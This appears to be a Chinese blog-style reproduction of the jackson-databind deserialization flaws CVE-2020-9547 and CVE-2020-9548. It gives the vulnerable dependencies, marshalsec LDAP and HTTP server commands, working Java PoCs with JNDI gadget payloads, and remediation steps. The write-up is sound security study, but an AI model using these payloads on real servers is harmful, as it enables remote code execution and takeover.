0x00 简介
jackson-databind 是 FasterXML 项目组下的JSON处理库
0x01 漏洞概述
2020年3月2日,发现jackson-databind为两例新的反序列化利用链申请了漏洞编号CVE-2020-9547和CVE-2020-9548。该漏洞影响jackson-databind对 JSON 文本的处理流程。攻击者利用特制的请求可以触发远程代码执行,攻击成功可获得服务器的控制权限(Web服务等级),该漏洞同时影响开启了autotype选项的fastjson。
0x02 影响版本
jackson-databind < 2.10.0
0x03 环境搭建
新建MVN项目
CVE-2020-9547
pom.xml添加如下依赖
```<dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.10.3</version></dependency><dependency> <groupId>org.apache.ibatis</groupId> <artifactId>ibatis-sqlmap</artifactId> <version>2.3.4.726</version></dependency><dependency> <groupId>javax</groupId> <artifactId>javaee-api</artifactId> <version>8.0.1</version></dependency>```
CVE-2020-9548
pom.xml依赖
```<dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.10.3</version></dependency><dependency> <groupId>com.codahale.metrics</groupId> <artifactId>metrics-healthchecks</artifactId> <version>3.0.2</version></dependency><dependency> <groupId>br.com.anteros</groupId> <artifactId>Anteros-Core</artifactId> <version>1.2.1</version></dependency><dependency> <groupId>br.com.anteros</groupId> <artifactId>Anteros-DBCP</artifactId> <version>1.0.1</version></dependency>```
0x04 漏洞利用1、在web服务器目录放上已经编译好的恶意类
这边使用simplehttp搭建web服务
python -m SimpleHTTPServer 8080
2、启动ldap服务
这边使用的是marshalsec。github链接:https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit
3、poc
CVE-2020-9547
import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Poc { public static void main(String args[]) { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String json = "[\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\", {\"properties\": {\"UserTransaction\":\"ldap://localhost:1389/Exploit\"}}]"; try { mapper.readValue(json, Object.class); } catch (IOException e) { e.printStackTrace(); } }}
CVE-2020-9548
import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Poc { public static void main(String args[]) { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String json = "[\"br.com.anteros.dbcp.AnterosDBCPConfig\", {\"healthCheckRegistry\": \"ldap://localhost:1389/Exploit\"}]"; try { mapper.readValue(json, Object.class); } catch (IOException e) { e.printStackTrace(); } }}
直接执行poc即可:
CVE-2020-9547
CVE-2020-9548
0x05 修复方式
1、更新jackson-databind到最新版本
2、排查项目中是否使用Anteros-Core和ibatis-sqlmap,将 Anteros-Core和ibatis-sqlmap移除可以缓解漏洞所带来的影响
网友评论